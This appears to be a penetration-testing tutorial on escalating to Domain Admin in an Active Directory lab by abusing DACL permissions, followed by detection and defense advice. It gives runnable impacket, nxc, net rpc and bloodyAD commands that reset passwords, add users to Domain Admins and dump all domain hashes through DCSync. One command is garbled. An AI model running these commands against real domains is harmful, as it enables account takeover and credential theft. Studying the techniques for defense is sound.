Five AD Permission Misconfigurations That Let Attackers Escalate to Domain Admin Without Exploits

DACL Basics: Understanding AD Permission Mechanisms

DACL (Discretionary Access Control List) is a core component of every AD object’s security descriptor, consisting of zero or more ACEs. Each ACE specifies a security principal (identified by SID), an access mask (e.g., ReadProperty, ControlAccess, WriteDACL, GenericAll), the ACE type (ACCESS_ALLOWED or ACCESS_DENY), and optionally an object‑type GUID to narrow the permission.

Why DACL Abuse Matters to Attackers

Unlike traditional vulnerabilities, DACL abuse leverages legitimate Windows functionality. Writing to an object’s DACL silently grants the attacker any desired permission without triggering most security tools. Critical permissions include ForceChangePassword, WriteDACL/FullControl, WriteMembers, and DCSync.

Technique 1: ForceChangePassword (User→User Privilege Escalation)

Overview

The User‑Force‑Change‑Password extended right (GUID 00299570‑246d‑11d0‑a768‑00aa006e0529) lets a principal reset another user’s password without knowing the original one. Misconfiguration is common when help‑desk accounts receive overly broad password‑reset rights.

Step 1 – Grant jerry ForceChangePassword on tom

impacket-dacledit -action write -rights ResetPassword -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Step 2 – Verify the ACE

impacket-dacledit -principal jerry -target 'tom' -dc-ip 192.168.1.11 ignite.local/jerry:Password@1

Step 3 – Change tom’s password

nxc smb 192.168.1.11 -u jerry -p Password@1 -M change-password -o USER=tom NEWPASS=Admin@123

nxc smb 192.168.1.11 -u jerry -p Admin@123

Step 4 – Restore the original DACL

impacket-dacledit -action restore -file dacledit-20260328-141554.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Technique 2: FullControl on Domain Admins → Group Membership

Overview

FullControl (equivalent to GenericAll) on the Domain Admins group lets an attacker modify group membership, change the group’s DACL, or perform any operation on the object, effectively providing a direct path to domain control.

Step 1 – Grant raaz FullControl on Domain Admins

impacket-dacledit -action write -rights FullControl -principal raaz -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Step 2 – Verify the ACE

impacket-dacledit -action read -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/raaz:Password@1' -dc-ip 192.168.1.11

Step 3 – Add raaz to Domain Admins

net rpc group addmem "Domain Admins" "raaz" -U ignite.local/raaz%Password@1 -S 192.168.1.11

Confirm Membership

net rpc group members "Domain Admins" -U "ignite.local/raaz%Password@1" -S 192.168.1.11

Step 4 – Restore the original DACL

impacket-dacledit -action restore -file dacledit-20260328-142121.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Technique 3: DCSync via Domain Root DACL

Overview

DCSync abuses the MS‑DRSR protocol to request credential replication from a domain controller, effectively dumping all domain hashes—including the krbtgt hash—when the attacker holds DS‑Replication‑Get‑Changes and DS‑Replication‑Get‑Changes‑All rights on the domain root.

Step 1 – Grant kinjal DCSync rights

impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11

Step 2 – Verify the ACE

impacket-dacledit -principal kinjal -target-dn "DC=ignite,DC=local" -dc-ip 192.168.1.11 ignite.local/kinjal:Password@1

Step 3 – Execute DCSync

impacket-secretsdump ignite.local/kinjal:Password@[email protected]

Step 4 – Restore the original DACL

impacket-dacledit -action restore -file dacledit-20260328-143314.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Technique 4: WriteMembers Abuse

Overview

WriteMembers lets a low‑privilege account add or remove members from high‑value groups such as Domain Admins without needing full administrative rights, providing a persistent backdoor.

Step 1 – Grant ankur WriteMembers on Domain Admins

impacket-dacledit -action write -rights WriteMembers -principal ankur -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Step 2 – Verify the ACE

impacket-dacledit -action read -target-dn "CN=Domain Admins,CN=Users,DC=ignite,DC=local" 'ignite.local/ankur:Password@1' -dc-ip 192.168.1.11

Step 3 – Add ankur to Domain Admins via bloodyAD

bloodyAD --host "192.168.1.11" -d "ignite.local" -u "ankur" -p "Password@1" add groupMember "Domain Admins" "ankur"

Technique 5: GUID‑Based ACE Write

Overview

When a permission lacks a short name, impacket‑dacledit can write an ACE directly using the extended‑right GUID via the –rights‑guid option, enabling precise scripting.

Example – Write ForceChangePassword by GUID

impacket-dacledit -action write -rights-guid 00299570-246d-11d0-a768-00aa006e0529 -principal jerry -target-dn "CN=tom,CN=Users,DC=ignite,DC=local" 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

Using –file for Backup & Restore

impacket-dacledit ignite.local/administrator:'Ignite@987' -action write -rights DCSync -principal kinjal -target-dn 'DC=ignite,DC=local' -dc-ip 192.168.1.11 -file dcsync_backup.bak

impacket-dacledit -action restore -file dacledit-20260328-143314.bak 'ignite.local/administrator:Ignite@987' -dc-ip 192.168.1.11

GUID Reference Table (Converted to List)

ForceChangePassword – GUID 00299570‑246d‑11d0‑a768‑00aa006e0529 – Allows password reset without the original password.

DS‑Replication‑Get‑Changes – GUID 1131f6aa‑9c07‑11d1‑f79f‑00c04fc2dcd2 – Enables replication of changed credentials.

DS‑Replication‑Get‑Changes‑All – GUID 1131f6ad‑9c07‑11d1‑f79f‑00c04fc2dcd2 – Grants full replication rights.

WriteDACL – (No GUID; operation is to modify an object’s DACL.)

FullControl / GenericAll – Represents all permissions on an object.

Detection and Defense Recommendations

Detection Opportunities

Windows Event ID 4662 – Object access (audit DACL reads on sensitive OUs/objects).

Windows Event ID 4670 – Object permission change (alert on modifications to Domain Admins, domain root, privileged accounts).

Windows Event IDs 4728/4732/4756 – Membership added to security‑enabled groups (correlate with unusual accounts).

Windows Event ID 4769 with SPN for replication – DCSync generates Kerberos service ticket E3514235‑4B06‑11D1‑AB04‑00C04FC2DCD2; flag requests from non‑DC IPs.

LDAP monitoring – Watch for large queries of the nTSecurityDescriptor attribute from non‑admin accounts.

Defense Recommendations

Quarterly audit of all DACL assignments on high‑value AD objects using tools such as BloodHound, PingCastle, or Semperis DSP.

Enforce the principle of least privilege; standard users should never have WriteDACL, GenericAll, or WriteMembers on privileged groups.

Enable advanced DS access auditing (Directory Service Changes) and forward Event 4670 to a SIEM with high‑priority alerts.

Adopt a tiered administration model – help‑desk accounts must not hold permissions on Tier 0 objects (domain controllers, domain root).

Deploy Microsoft Defender for Identity (or equivalent) to detect DCSync attempts, suspicious DACL modifications, and lateral‑movement patterns.

Regularly rotate the krbtgt password (twice, 10 hours apart) to invalidate existing golden tickets.

Network‑ and endpoint‑level monitoring for signatures of impacket, bloodyAD, and dacledit tools (e.g., unexpected 445 NTLM traffic from Linux hosts or DRSUAPI traffic from non‑DC sources).

Conclusion

DACL abuse is one of the most impactful yet frequently overlooked AD attack vectors. Because these techniques exploit built‑in Windows permission mechanisms, they generate minimal noise and often bypass traditional security controls. The ignite.local lab demonstrates that a single mis‑configured ACE can let a low‑privilege user achieve Domain Admin in minutes, traversing the full chain from ForceChangePassword to DCSync without any exploit or malware. Proper ACL hygiene, tiered privilege management, and robust monitoring can effectively mitigate these paths.